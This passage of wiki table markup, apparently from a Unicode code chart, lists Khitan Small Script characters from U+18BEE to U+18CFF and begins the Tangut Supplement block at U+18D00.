CHARACTER-18BEE|&amp;#x18bee;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEF|&amp;#x18bef;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BFx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF0|&amp;#x18bf0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF1|&amp;#x18bf1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF2|&amp;#x18bf2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF3|&amp;#x18bf3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF4|&amp;#x18bf4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF5|&amp;#x18bf5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF6|&amp;#x18bf6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF7|&amp;#x18bf7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF8|&amp;#x18bf8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF9|&amp;#x18bf9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFA|&amp;#x18bfa;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFB|&amp;#x18bfb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFC|&amp;#x18bfc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFD|&amp;#x18bfd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFE|&amp;#x18bfe;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFF|&amp;#x18bff;}}
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C0x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C00|&amp;#x18c00;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C01|&amp;#x18c01;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C02|&amp;#x18c02;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C03|&amp;#x18c03;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C04|&amp;#x18c04;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C05|&amp;#x18c05;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C06|&amp;#x18c06;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C07|&amp;#x18c07;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C08|&amp;#x18c08;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C09|&amp;#x18c09;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0A|&amp;#x18c0a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0B|&amp;#x18c0b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0C|&amp;#x18c0c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0D|&amp;#x18c0d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0E|&amp;#x18c0e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0F|&amp;#x18c0f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C1x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C10|&amp;#x18c10;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C11|&amp;#x18c11;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C12|&amp;#x18c12;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C13|&amp;#x18c13;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C14|&amp;#x18c14;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C15|&amp;#x18c15;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C16|&amp;#x18c16;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C17|&amp;#x18c17;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C18|&amp;#x18c18;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C19|&amp;#x18c19;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1A|&amp;#x18c1a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1B|&amp;#x18c1b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1C|&amp;#x18c1c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1D|&amp;#x18c1d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1E|&amp;#x18c1e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1F|&amp;#x18c1f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C2x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C20|&amp;#x18c20;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C21|&amp;#x18c21;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C22|&amp;#x18c22;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C23|&amp;#x18c23;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C24|&amp;#x18c24;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C25|&amp;#x18c25;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C26|&amp;#x18c26;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C27|&amp;#x18c27;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C28|&amp;#x18c28;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C29|&amp;#x18c29;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2A|&amp;#x18c2a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2B|&amp;#x18c2b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2C|&amp;#x18c2c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2D|&amp;#x18c2d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2E|&amp;#x18c2e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2F|&amp;#x18c2f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C3x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C30|&amp;#x18c30;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C31|&amp;#x18c31;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C32|&amp;#x18c32;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C33|&amp;#x18c33;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C34|&amp;#x18c34;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C35|&amp;#x18c35;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C36|&amp;#x18c36;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C37|&amp;#x18c37;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C38|&amp;#x18c38;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C39|&amp;#x18c39;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3A|&amp;#x18c3a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3B|&amp;#x18c3b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3C|&amp;#x18c3c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3D|&amp;#x18c3d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3E|&amp;#x18c3e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3F|&amp;#x18c3f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C4x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C40|&amp;#x18c40;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C41|&amp;#x18c41;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C42|&amp;#x18c42;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C43|&amp;#x18c43;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C44|&amp;#x18c44;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C45|&amp;#x18c45;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C46|&amp;#x18c46;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C47|&amp;#x18c47;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C48|&amp;#x18c48;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C49|&amp;#x18c49;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4A|&amp;#x18c4a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4B|&amp;#x18c4b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4C|&amp;#x18c4c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4D|&amp;#x18c4d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4E|&amp;#x18c4e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4F|&amp;#x18c4f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C5x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C50|&amp;#x18c50;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C51|&amp;#x18c51;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C52|&amp;#x18c52;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C53|&amp;#x18c53;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C54|&amp;#x18c54;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C55|&amp;#x18c55;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C56|&amp;#x18c56;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C57|&amp;#x18c57;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C58|&amp;#x18c58;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C59|&amp;#x18c59;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5A|&amp;#x18c5a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5B|&amp;#x18c5b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5C|&amp;#x18c5c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5D|&amp;#x18c5d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5E|&amp;#x18c5e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5F|&amp;#x18c5f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C6x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C60|&amp;#x18c60;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C61|&amp;#x18c61;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C62|&amp;#x18c62;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C63|&amp;#x18c63;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C64|&amp;#x18c64;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C65|&amp;#x18c65;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C66|&amp;#x18c66;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C67|&amp;#x18c67;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C68|&amp;#x18c68;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C69|&amp;#x18c69;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6A|&amp;#x18c6a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6B|&amp;#x18c6b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6C|&amp;#x18c6c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6D|&amp;#x18c6d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6E|&amp;#x18c6e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6F|&amp;#x18c6f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C7x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C70|&amp;#x18c70;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C71|&amp;#x18c71;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C72|&amp;#x18c72;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C73|&amp;#x18c73;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C74|&amp;#x18c74;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C75|&amp;#x18c75;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C76|&amp;#x18c76;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C77|&amp;#x18c77;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C78|&amp;#x18c78;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C79|&amp;#x18c79;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7A|&amp;#x18c7a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7B|&amp;#x18c7b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7C|&amp;#x18c7c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7D|&amp;#x18c7d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7E|&amp;#x18c7e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7F|&amp;#x18c7f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C8x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C80|&amp;#x18c80;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C81|&amp;#x18c81;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C82|&amp;#x18c82;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C83|&amp;#x18c83;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C84|&amp;#x18c84;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C85|&amp;#x18c85;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C86|&amp;#x18c86;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C87|&amp;#x18c87;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C88|&amp;#x18c88;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C89|&amp;#x18c89;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8A|&amp;#x18c8a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8B|&amp;#x18c8b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8C|&amp;#x18c8c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8D|&amp;#x18c8d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8E|&amp;#x18c8e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8F|&amp;#x18c8f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C9x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C90|&amp;#x18c90;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C91|&amp;#x18c91;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C92|&amp;#x18c92;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C93|&amp;#x18c93;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C94|&amp;#x18c94;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C95|&amp;#x18c95;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C96|&amp;#x18c96;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C97|&amp;#x18c97;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C98|&amp;#x18c98;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C99|&amp;#x18c99;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9A|&amp;#x18c9a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9B|&amp;#x18c9b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9C|&amp;#x18c9c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9D|&amp;#x18c9d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9E|&amp;#x18c9e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9F|&amp;#x18c9f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CAx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA0|&amp;#x18ca0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA1|&amp;#x18ca1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA2|&amp;#x18ca2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA3|&amp;#x18ca3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA4|&amp;#x18ca4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA5|&amp;#x18ca5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA6|&amp;#x18ca6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA7|&amp;#x18ca7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA8|&amp;#x18ca8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA9|&amp;#x18ca9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAA|&amp;#x18caa;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAB|&amp;#x18cab;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAC|&amp;#x18cac;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAD|&amp;#x18cad;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAE|&amp;#x18cae;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAF|&amp;#x18caf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CBx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB0|&amp;#x18cb0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB1|&amp;#x18cb1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB2|&amp;#x18cb2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB3|&amp;#x18cb3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB4|&amp;#x18cb4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB5|&amp;#x18cb5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB6|&amp;#x18cb6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB7|&amp;#x18cb7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB8|&amp;#x18cb8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB9|&amp;#x18cb9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBA|&amp;#x18cba;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBB|&amp;#x18cbb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBC|&amp;#x18cbc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBD|&amp;#x18cbd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBE|&amp;#x18cbe;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBF|&amp;#x18cbf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CCx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC0|&amp;#x18cc0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC1|&amp;#x18cc1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC2|&amp;#x18cc2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC3|&amp;#x18cc3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC4|&amp;#x18cc4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC5|&amp;#x18cc5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC6|&amp;#x18cc6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC7|&amp;#x18cc7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC8|&amp;#x18cc8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC9|&amp;#x18cc9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCA|&amp;#x18cca;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCB|&amp;#x18ccb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCC|&amp;#x18ccc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCD|&amp;#x18ccd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCE|&amp;#x18cce;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCF|&amp;#x18ccf;}}
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CDx
|style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD0|&amp;#x18cd0;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD1|&amp;#x18cd1;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD2|&amp;#x18cd2;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD3|&amp;#x18cd3;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD4|&amp;#x18cd4;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD5|&amp;#x18cd5;}}||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CEx
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CFx
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||style=&quot;background:#edc3b4;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CFF|&amp;#x18cff;}}
|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Tangut Supplement'''
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18D0x
|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D00|&amp;#x18d00;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D01|&amp;#x18d01;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D02|&amp;#x18d02;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D03|&amp;#x18d03;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D04|&amp;#x18d04;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D05|&amp;#x18d05;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D06|&amp;#x18d06;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D07|&amp;#x18d07;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D08|&amp;#x18d08;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D09|&amp;#x18d09;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D0A|&amp;#x18d0a;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D0B|&amp;#x18d0b;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D0C|&amp;#x18d0c;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D0D|&amp;#x18d0d;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D0E|&amp;#x18d0e;}}||style=&quot;background:#ddb495;{{text default 